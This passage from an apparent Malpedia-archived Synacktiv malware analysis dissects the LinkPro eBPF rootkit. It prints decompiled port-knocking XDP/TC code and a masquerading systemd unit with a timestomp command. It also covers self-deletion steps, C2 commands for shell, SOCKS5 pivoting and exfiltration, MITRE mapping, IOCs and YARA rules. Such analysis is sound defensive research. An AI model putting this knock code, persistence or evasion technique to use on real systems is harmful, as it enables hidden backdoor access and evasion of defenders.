: identifier for the created filter\r\n4. bpf : indicates that the filter is a BPF program\r\n5. da (or direct-action ): means that the return value of the eBPF program (e.g.,\r\nTC_ACT_OK to let it pass, TC_ACT_SHOT to drop) will directly determine the packet's\r\nfate\r\n6. pinned /sys/fs/bpf/tc_egress : tells TC where to find the eBPF program, pinned\r\nin the bpffs by LinkPro \r\nxdp_ingress\r\nThe xdp_ingress eBPF program listens to incoming traffic on the attached network interface (reminder:\r\nidentified by LinkPro as having Internet access). The program monitors for the receipt of a magic packet.\r\nThis magic packet must have the following characteristics: a TCP protocol packet of type SYN , which has\r\na window size value, tcp_header-\u003ewindows_size , of 54321 .\r\nIf such a packet is verified, the xdp_ingress program saves a key in a  knock_map  map with the value of\r\nthe packet's source IP and an associated expiration date (one hour) as its value, indicating an open state.\r\nAdditionally, the program saves the following key/value pair in the rev_port map: key: rev_key = {\r\nin_port, sip, sport} (sip = source IP, sport = source port), value: dport (destination port).  in_port\r\nis equal to the value stored in conf_map , which is 2233.\r\nFinally, the xdp_ingress program returns the XDP_DROP code, instructing the Linux kernel to\r\nimmediately drop the magic packet. The program has transitioned to the \"open\" state for this specific\r\nsource IP address.\r\nif (tcph-\u003esyn \u0026\u0026 tcph-\u003ewindow == bpf_htons(MAGIC_WIN)) {\r\n bpf_printk(\"[DBG-KNOCK] 检测到敲门包: sip=%x sport=%u dport=%u win=%u\", sip_h, sport_h, dport_h, (data-\u003etcph\r\n __u64 exp = bpf_ktime_get_ns() + WIN_NS; // current time + 1 hour\r\n bpf_map_update_elem(\u0026knock_map, \u0026sip_h, \u0026exp, BPF_ANY);\r\n bpf_printk(\"[KNOCK-SET] key=%x exp=%llu\", sip_h, exp);\r\n __u16 in_port = get_in_port()\r\n struct rev_key rk = {\r\n in_port,\r\n sip_h,\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 20 of 32\n\nsport_h\r\n }\r\n bpf_map_update_elem(\u0026rev_port, \u0026rk, \u0026dport_h, BPF_ANY);\r\n bpf_printk(\"[KNOCK] %x:%u -\u003e %u\", sip_h, sport_h, dport_h);\r\n return XDP_DROP;\r\n}\r\nOpen state: The xdp_ingress program monitors for the receipt of TCP packets whose source IP address is\r\nthe same as the one(s) already registered in knock_map , within a one-hour window after receiving the\r\nmagic packet.\r\nIn this case, if the destination port does not already correspond to the value of in_port (2233), then\r\nxdp_ingress modifies the incoming packet's TCP header to replace the destination port value with\r\nin_port . Additionally, to prevent the packet from being dropped by the kernel downstream, the TCP\r\nchecksum, tcp_header-\u003echeck_sum , is also recalculated and modified in the TCP header. Finally,\r\nxdp_ingress returns the XDP_PASS code to pass the packet along to the rest of the network stack.\r\nbpf_printk(\"[FOUND] 找到有效敲门记录: sip=%x dport=%u\", sip_h, dport_h); // (Found valid knock records)\r\n__u16 in_port = get_in_port()\r\nif (dport_h == in_port) {\r\n bpf_printk(\"[SKIP] 已是内部端口: sip=%x dport=%u\", sip_h, dport_h); // (Already an internal port)\r\n}\r\nelse {\r\n __u16 old_n = tcph-\u003edest;\r\n __u32 old32 = (__u32)old_n;\r\n __u16 new_n = bpf_htons(in_port);\r\n __u32 new32 = (__u32)new_n;\r\n __u32 diff = bpf_csum_diff(\u0026old32, 4, \u0026new32, 4, ~(data-\u003etcph).check); //TCP Checksum Diff\r\n (data-\u003etcph).dest = new_n;\r\n tcph-\u003echeck = fold_csum(diff);\r\n bpf_printk(\"[XDP] REWRITE %x:%u %u→%u\", sip_h, sport_h, dport_h, in_port);\r\n}\r\nFinally, if destination port 9999 is used, the program displays additional kernel debug messages:\r\n[DBG-9999] 收到9999端口包: sip=%x sport=%u, fin=%d syn=%d rst=%d win=%u (Received a packet from\r\nport 9999)\r\n[MISS] 未找到敲门记录: sip=%x dport=%u (No knock record found)\r\ntc_egress\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 21 of 32\n\nThe tc_egress eBPF program listens to outgoing traffic on the attached network interface. The program\r\nmonitors for the dispatch of a TCP packet whose source port is in_port (2233).\r\nIf such a packet is received, the program checks for the presence in the rev_port map of the key\r\nrev_key = { in_port, dip, dport} (dip = destination IP), previously saved by xdp_ingress .\r\nIf found, the outgoing packet's TCP header is modified to restore the original destination port of the\r\nincoming packet, which had been replaced by xdp_ingress , at the source port level of the outgoing\r\npacket. The checksum is also recalculated. Finally, the packet continues its processing ( TC_ACT_OK code is\r\nreturned) in all cases.\r\nif ((data-\u003etcph).source == bpf_htons(get_in_port())){\r\n __u16 dport_n = tcph-\u003edest;\r\n struct rev_key rk = {\r\n get_in_port(),\r\n bpf_ntohl((data-\u003eiph).daddr),\r\n bpf_ntohs(dport_n)\r\n }\r\n __u16 *knock = bpf_map_lookup_elem(\u0026rev_port, \u0026rk);\r\n if (!knock) {\r\n bpf_printk(\"[TC-MISS] 未找到端口映射: dip=%x dport=%u\", bpf_ntohl((data-\u003eiph).daddr), bpf_ntohs(dport_n)\r\n }\r\n else {\r\n __u16 new_n = bpf_htons(*knock);\r\n __u16 old_n = (data-\u003etcph).source;\r\n __u32 o32 = (__u32)old_n;\r\n __u32 n32 = (__u32)new_n;\r\n __u32 diff = bpf_csum_diff(\u0026o32, 4, \u0026n32, 4, ~(data-\u003etcph).check);\r\n (data-\u003etcph).source = new_n;\r\n (data-\u003etcph).check = fold_csum(diff);\r\n bpf_printk(\"[TC] REWRITE_BACK %u→%u\", get_in_port(), *knock);\r\n }\r\n}\r\nThe objective for LinkPro is therefore to activate the command reception state conditional on receiving an initial\r\n\"magic packet\". Once the magic packet is received, the operator has a one-hour window (which can be reactivated\r\nlater) to send commands to an arbitrary destination port. The xdp_ingress program's role is to modify the\r\nincoming TCP packet's header to replace the original destination port with LinkPro's listening port, which is 2233\r\nin this context. \r\nFinally, when LinkPro responds to the operator's command, the tc_egress program's role is to modify the\r\noutgoing packet to replace the source port (2233) with the original port. The purpose of this maneuver is to allow\r\nthe operator to activate command reception for LinkPro by going through any port authorized by the front-end\r\nfirewall. This also makes the correlation between the front-end firewall logs and the network activity of the\r\ncompromised host more complex. For example: the operator sends their commands to port 443/https of a\r\ncompromised web server, when in reality the packets are being forwarded to port 2233 internally on the server.  \r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 22 of 32\n\nPersistence\r\nTo persist on the host, LinkPro “disguises” itself as the systemd-resolved service (the name resolution service).\r\n1. Mounting the root partition / with read and write permissions by executing the command: mount -o\r\nremount,rw / .\r\n2. Copying its own executable to /usr/lib/.system/.tmp~data.resolveld .\r\n3. Adding a systemd unit file in  /etc/systemd/system/systemd-resolveld.service :\r\n[Unit]\r\nDescription=Network Name Resolution Manager\r\nDocumentation=man:systemd-resolved.service(8)\r\nAfter=network.target\r\n[Service]\r\nType=simple\r\nExecStart=/usr/lib/.system/.tmp~data.resolveld\r\nRestart=always\r\nRestartSec=5\r\nKillSignal=SIGTERM\r\nProtectSystem=full\r\nPrivateTmp=true\r\nNoNewPrivileges=true\r\n4. Timestomping the modification and access dates of /usr/lib/.system/.tmp~data.resolveld and\r\n/etc/systemd/system/systemd-resolveld.service to that of the /etc/passwd file: sh -c touch -d\r\n\"$(stat /etc/passwd | grep Modify | awk '{print $2, $3}')\" %s 2\u003e/dev/null\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 23 of 32\n\n5. Enabling the systemd-resolveld service to start when the system boots: systemctl enable systemd-resolveld .\r\nSelf-Deletion\r\nOn interruption (SIGHUP, SIGINT, SIGTERM signals), LinkPro uninstalls its programs:\r\nKnock Module:\r\nDeletion of the tc_egress eBPF link by executing the tc commands:\r\ntc filter del dev eth0 egress (eth0 being the interface with Internet access in this\r\nexample)\r\ntc qdisc del dev eth0 clsact\r\nDeletion of the xdp_ingress eBPF link\r\nDeletion of the /sys/fs/bpf/fire directory\r\nHide Module: Deletion of the eBPF links, maps, and programs (Tracepoints, Kretprobe)\r\nDeletion of /etc/libld.so and restoration of the initial content of the configuration\r\nfile  /etc/ld.so.preload\r\nCommands\r\nOnce communication with the operator is well established, LinkPro provides the following commands:\r\nCommands supported by LinkPro\r\nCommand Feature\r\nterminal_create ; terminal_resize ;\r\nterminal_input ; terminal_close\r\nExecutes /bin/bash in a pseudo-terminal (uses the\r\ngithub.com/creack/pty module30). The terminal_input\r\nsubcommand allows for interaction with the created bash\r\nprocess.\r\nshell\r\nDirectly executes an arbitrary shell command: /bin/sh -c\r\n[cmd]\r\nfile_manage\r\nSubcommands: read_file ;\r\nlist_files ; write_file ;\r\ncreate_file ; delete_file ;\r\nupload_file ; create_folder ;\r\nget_current_dir ;\r\ndelete_files_batch\r\nCommands for listing, reading, writing, and deleting files or\r\ndirectories.\r\nThe upload_file subcommand allows for downloading a file\r\nfrom a server to the infected host. The HTTP protocol is used for\r\nthe download, performed from a URL of the type\r\nhttp://[server_address]:[port]/api/client/file/download?\r\npath=[server_file_path] to the local path specified in the\r\ncommand by client_save_path .\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 24 of 32\n\nCommand Feature\r\ndownload_manage\r\nFile download. The target file is split into 1MB chunks. Each\r\nchunk is base64-encoded and then sent to the operator.\r\nreverse_connect ;\r\nclose_reverse_connect\r\nSets up a relay to serve as a SOCKS5 proxy tunnel. Uses the\r\nresocks module31. The proxy server's IP address, port, and\r\nconnection key are specified in the command.\r\nreverse_http_listener\r\nSubcommands:  start ; stop ;\r\nstatus\r\nSets up an HTTP service, the same one established by the\r\nreverse mode. The port and the encryption key (XOR) are\r\nindicated in the command.\r\nset_sleep_config Updates the sleep_time and jitter_time parameters.\r\narp_diag.ko Kernel Module\r\nLinkPro Kernel Module Sample\r\nSHA256 9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075\r\nFile type ELF 64-bit LSB kernel object, x86-64\r\nFile size 586728 bytes\r\nThreat Linux LKM Rootkit\r\nThe arp_diag.ko kernel module embedded in the LinkPro program is never loaded. The loading of this module\r\non the compromised hosts was also not observed. It has the following version information:\r\nversion=1.21\r\ndescription=UNIX socket monitoring via ARP_DIAG\r\nauthor=Linux\r\nlicense=GPL\r\nsrcversion=AB501E218EDD1F4EA00642E\r\ndepends=\r\nretpoline=Y\r\nname=arp_diag\r\nvermagic=6.8.0-1021-aws SMP mod_unload modversions\r\nThis module registers four Kernel probes to attach to the kernel functions tcp4_seq_show ,\r\nudp4_seq_show ,  tcp6_seq_show , and  udp6_seq_show . These system calls provide the information specified\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 25 of 32\n\nin  /proc/net/tcp ,  /proc/net/tcp6 ,  /proc/net/udp , and  /proc/net/udp6 . The functions implemented by\r\narp_diag aim to hide the records containing port 2233.\r\nImplementation of hook_tcp4_seq_show\r\nConclusion\r\nThe analysis of the LinkPro rootkit, discovered by the Synacktiv CSIRT on a compromised AWS infrastructure,\r\nconfirms and deepens the trend of threats exploiting eBPF technology. Following in the footsteps of malware like\r\nBPFDoor or Symbiote, LinkPro represents a new step in the sophistication of these backdoors by combining\r\nseveral stealth techniques at multiple levels.\r\nFor its concealment at the kernel level, the rootkit uses eBPF programs of the tracepoint and kretprobe types\r\nto intercept the getdents (file hiding) and sys_bpf (hiding its own BPF programs) system calls. Notably, this\r\ntechnique requires a specific kernel configuration ( CONFIG_BPF_KPROBE_OVERRIDE ). If the latter is not present,\r\nLinkPro falls back on an alternative method by loading a malicious library via the /etc/ld.so.preload file to\r\nensure the concealment of its activities in user space.\r\nLinkPro also stands out for its operational flexibility, capable of acting either in a passive listening mode or by\r\ndirectly contacting a command and control (C2) server.\r\nIn listening mode ( reverse ), it deploys an advanced network processing chain based on XDP\r\n( ingress ) and TC ( egress ) programs, whose implementation is visibly inspired by the open-source\r\nproject eBPFeXPLOIT. This mechanism allows it to redirect a \"magic packet\" to its internal listening port\r\nand to hide the communication.\r\nIn direct connection mode ( forward ) to the C2, this redirection is not necessary and is therefore not\r\nused.\r\nOnce communication is established, LinkPro provides the operator with advanced functionalities, notably the\r\nability to serve as a pivot point for lateral movement.\r\nNo formal attribution to a threat actor could be established, but the objectives of the attack appear to be financial.\r\nIn conclusion, LinkPro is a concrete example of malware that uses eBPF in an adaptive manner. The combination\r\nof kernel hooks, a user-space fallback mechanism ( ld.so.preload ), and distinct communication modes\r\ndemonstrates a design specifically conceived to adapt to different system configurations and evade detection.\r\nYARA rules created during this analysis are maintained in synacktiv-rules Github repository.\r\nMapping MITRE ATT\u0026CK — LinkPro\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 26 of 32\n\nTactic Technique (ID) Description of Use by LinkPro\r\nExecution\r\nCommand and\r\nScripting Interpreter:\r\nUnix Shell (T1059.004)\r\nLinkPro executes commands via /bin/sh -c ( shell\r\ncommand) and provides a full interactive shell with\r\n/bin/bash ( terminal_create command).\r\nPersistence\r\nCreate or Modify\r\nSystem Process:\r\nSystemd Service\r\n(T1543.002)\r\nCreates a systemd unit file ( /etc/systemd/system/systemd-resolveld.service ) to execute on startup.\r\nPersistence\r\nHijack Execution Flow:\r\nDynamic Linker\r\nHijacking (T1574.006)\r\nUses /etc/ld.so.preload as an alternative/fallback\r\nconcealment mechanism.\r\nDefense\r\nEvasion\r\nMasquerading: Match\r\nLegitimate Name or\r\nLocation (T1036.005)\r\nThe malware masquerades as systemd-resolved by using the\r\nfilenames /usr/lib/.system/.tmp~data.resolveld and\r\nsystemd-resolveld.service .\r\nDefense\r\nEvasion\r\nIndicator Removal:\r\nTimestomp (T1070.006)\r\nLinkPro modifies the timestamps of its persistence files to\r\nmatch a legitimate system file (e.g., /etc/passwd ).\r\nDefense\r\nEvasion\r\nRootkit (T1014)\r\nUses eBPF hooks on getdents and sys_bpf to hide its\r\nartifacts at the kernel level.\r\nDefense\r\nEvasion\r\nObfuscated Files or\r\nInformation (T1027)\r\nData exfiltrated via download_manage is Base64-encoded. C2\r\ntraffic is XOR-encrypted.\r\nDefense\r\nEvasion\r\nImpair Defenses:\r\nModify System Firewall\r\n(T1562.007)\r\nThe XDP program bypasses local firewall filters by processing\r\npackets before the main network stack.\r\nCommand\r\nand Control\r\nApplication Layer\r\nProtocol (T1071)\r\nUses HTTP and DNS (via DNS Tunneling T1071.004) for its\r\nC2 communications, in addition to raw TCP/UDP.\r\nCommand\r\nand Control\r\nTraffic Signaling: Port\r\nKnocking (T1205.002)\r\nThe \"magic packet\" concept (TCP SYN with a window of\r\n54321) is a form of traffic signaling to activate the passive C2.\r\nCommand\r\nand Control\r\nProxy: External Proxy\r\n(T1090.002)\r\nThe reverse_connect command sets up a SOCKS5 proxy\r\ntunnel to relay traffic, serving as a pivot.\r\nCommand\r\nand Control\r\nIngress Tool Transfer\r\n(T1105)\r\nThe upload_file command allows the operator to download\r\nadditional tools to the compromised host via HTTP.\r\nExfiltration\r\nExfiltration Over C2\r\nChannel (T1041)\r\nThe download_manage command uses the C2 channel to\r\nexfiltrate files. The technique of splitting into chunks and\r\nBase64 encoding is specific to its implementation.\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 27 of 32\n\nTactic Technique (ID) Description of Use by LinkPro\r\nCollection\r\nFile and Directory\r\nDiscovery (T1083)\r\nThe file_manage command and its subcommands\r\n( list_files , get_current_dir ) are used to explore the\r\nvictim's filesystem.\r\nIndicators of Compromise (IOCs) Table — LinkPro\r\nIOC\r\nType\r\nIndicator Description\r\nNetwork /api/client/file/download?path=...\r\nURL used by the upload_file\r\ncommand to download tools to the\r\ncompromised host.\r\nNetwork\r\n/reverse/handshake ;\r\n/reverse/heartbeat  ;  /reverse/operation  \r\nURLs used by LinkPro in reverse\r\nmode to receive commands from the\r\noperator.\r\nNetwork 18.199.101.111\r\nDestination IP address of the LinkPro\r\nsample ( forward mode).\r\nFile /etc/systemd/system/systemd-resolveld.service\r\nMalicious service file masquerading as\r\nthe legitimate systemd-resolved\r\nservice (note the final \"d\").\r\nFile /root/.tmp~data.ok\r\nLocation and name of the LinkPro\r\nbinary, mimicking a system file.\r\nFile /usr/lib/.system/.tmp~data.resolveld\r\nLocation and name of the LinkPro\r\nbinary, mimicking a system file.\r\nFile /etc/libld.so\r\nUses /etc/ld.so.preload as a\r\nconcealment mechanism by modifying\r\n/etc/ld.so.preload .\r\nHost systemd-resolveld\r\nThe malicious service name is designed\r\nto be confused with the legitimate\r\nsystemd-resolved service.\r\nHost conf_map\r\neBPF map used by LinkPro's Knock\r\nmodule containing the internal port.\r\nHost knock_map\r\neBPF map used by LinkPro's Knock\r\nmodule containing the authorized IP\r\naddresses.\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 28 of 32\n\nIOC\r\nType\r\nIndicator Description\r\nHost main_ebpf_progs\r\neBPF map used by LinkPro's Hide\r\nmodule containing the eBPF programs to\r\nbe hidden.\r\nHost pids_to_hide_map\r\neBPF map used by LinkPro's Hide\r\nmodule containing the PIDs of the\r\nprocesses to be hidden.\r\nYARA rules\r\nimport \"elf\"\r\nrule MAL_LinkPro_ELF_Rootkit_Golang_Oct25 {\r\n meta:\r\n description = \"Detects LinkPro rootkit\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964\"\r\n hash = \"d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b\"\r\n strings:\r\n $linkp_mod = \"link-pro/link-client\" fullword ascii\r\n $linkp_embed_libld = \"resources/libld.so\" fullword ascii\r\n $linkp_embed_lkm = \"resources/arp_diag.ko\" fullword ascii\r\n $linkp_ebpf_hide = \"hidePrograms\" fullword ascii\r\n $linkp_ebpf_knock = \"knock_prog\" fullword ascii\r\n $go_pty = \"creack/pty\" fullword ascii\r\n $go_socks = \"resocks\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and filesize \u003e 5MB and elf.type == elf.ET_EXEC\r\n and 2 of ($linkp*)\r\n and 1 of ($go*)\r\n}\r\nimport \"elf\"\r\nrule MAL_LinkPro_Hide_ELF_BPF_Oct25 {\r\n meta:\r\n description = \"Detects LinkPro Hide eBPF module\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 29 of 32\n\ndate = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164\"\r\n strings:\r\n $hook_getdents = \"/syscalls/sys_enter_getdents\" fullword ascii\r\n $hook_getdentsret = \"/syscalls/sys_exit_getdents\" fullword ascii\r\n $hook_bpf = \"/syscalls/sys_enter_bpf\" fullword ascii\r\n $hook_bpfret = \"sys_bpf\" fullword ascii\r\n $str1 = \"BPF cmd: %d, start_id: %u\" fullword ascii\r\n $str2 = \"HIDING NEXT_ID: %u\" fullword ascii\r\n $str3 = \".tmp~data\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and uint16(0x12) == 0x00f7 // BPF Machine\r\n and elf.type == elf.ET_REL\r\n and 2 of ($hook*)\r\n and 1 of ($str*)\r\n}\r\nimport \"elf\"\r\nrule MAL_LinkPro_Knock_ELF_BPF_Oct25 {\r\n meta:\r\n description = \"Detects LinkPro Knock eBPF module\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3\"\r\n strings:\r\n $hook_xdp = \"xdp_ingress\" fullword ascii\r\n $hook_tc_egress = \"tc_egress\" fullword ascii\r\n $str1 = \"[DBG-XDP]\" fullword ascii\r\n $str2 = \"[DBG-9999]\" fullword ascii\r\n $str3 = \"[TC-MISS]\" fullword ascii\r\n $str4 = \"[TC] REWRITE_BACK\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and uint16(0x12) == 0x00f7 // BPF Machine\r\n and elf.type == elf.ET_REL\r\n and 1 of ($hook*)\r\n and 2 of ($str*)\r\n}\r\nimport \"elf\"\r\nrule MAL_LinkPro_LdPreload_ELF_SO_Oct25 {\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 30 of 32\n\nmeta:\r\n description = \"Detects LinkPro ld preload module\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7\"\r\n strings:\r\n $hook_getdents = \"getdents\" fullword ascii\r\n $hook_open = \"open\" fullword ascii\r\n $hook_readdir = \"readdir\" fullword ascii\r\n $hook_kill = \"kill\" fullword ascii\r\n $linkpro = \".tmp~data\" fullword ascii\r\n $file_net = \"/proc/net\" fullword ascii\r\n $file_persist = \".system\" fullword ascii\r\n $file_cron = \"sshids\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and filesize \u003c 500KB and elf.type == elf.ET_DYN\r\n and $linkpro\r\n and 2 of ($hook*)\r\n and 2 of ($file*)\r\n}\r\nimport \"elf\"\r\nrule MAL_LinkPro_arpdiag_ELF_KO_Oct25 {\r\n meta:\r\n description = \"Detects LinkPro LKM module\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075\"\r\n strings:\r\n $hook_udp6 = \"hook_udp6_seq_show\" fullword ascii\r\n $hook_udp4 = \"hook_udp4_seq_show\" fullword ascii\r\n $hook_tcp6 = \"hook_tcp6_seq_show\" fullword ascii\r\n $hook_tcp4 = \"hook_tcp4_seq_show\" fullword ascii\r\n $ftrace = \"ftrace_thunk\" fullword ascii\r\n $hide_entry = \"hide_port_init\" fullword ascii\r\n $hide_exit = \"hide_port_exit\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and filesize \u003c 2MB and elf.type == elf.ET_REL\r\n and $ftrace\r\n and 2 of ($hook*)\r\n and 1 of ($hide*)\r\n}\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 31 of 32\n\nimport \"elf\"\r\nrule MAL_vGet_ELF_Downloader_Rust_Oct25 {\r\n meta:\r\n description = \"Detects vGet Downloader, observed to load vShell\"\r\n author = \"CSIRT Synacktiv, Théo Letailleur\"\r\n date = \"2025-10-13\"\r\n reference = \"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\"\r\n hash = \"0da5a7d302ca5bc15341f9350a130ce46e18b7f06ca0ecf4a1c37b4029667dbb\"\r\n hash = \"caa4e64ff25466e482192d4b437bd397159e4c7e22990751d2a4fc18a6d95ee2\"\r\n strings:\r\n $hc_rust = \"RUST_BACKTRACE\" fullword ascii\r\n $hc_symlink = \"/tmp/.del\" fullword ascii\r\n $hc_proxy = \"Proxy-Authorization:\" fullword ascii\r\n $lc_crypto_chacha = \"expand 32-byte k\" fullword ascii\r\n $lc_pdfuser = \"cosmanking\" fullword ascii\r\n $lc_local = \"127.0.0.1\" fullword ascii\r\n condition:\r\n uint32(0) == 0x464c457f and filesize \u003e 500KB and filesize \u003c 3MB\r\n and elf.type == elf.ET_DYN\r\n and all of ($hc*)\r\n and 1 of ($lc*)\r\n}\r\nSource: https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nhttps://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis\r\nPage 32 of 32",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
	],
	"report_names": [
		"linkpro-ebpf-rootkit-analysis"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434898,
	"ts_updated_at": 1775791457,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f260bc5667c5378141a6ba8199d930d6224b9d31.pdf",
		"text": "https://archive.orkl.eu/f260bc5667c5378141a6ba8199d930d6224b9d31.txt",
		"img": "https://archive.orkl.eu/f260bc5667c5378141a6ba8199d930d6224b9d31.jpg"
	}
}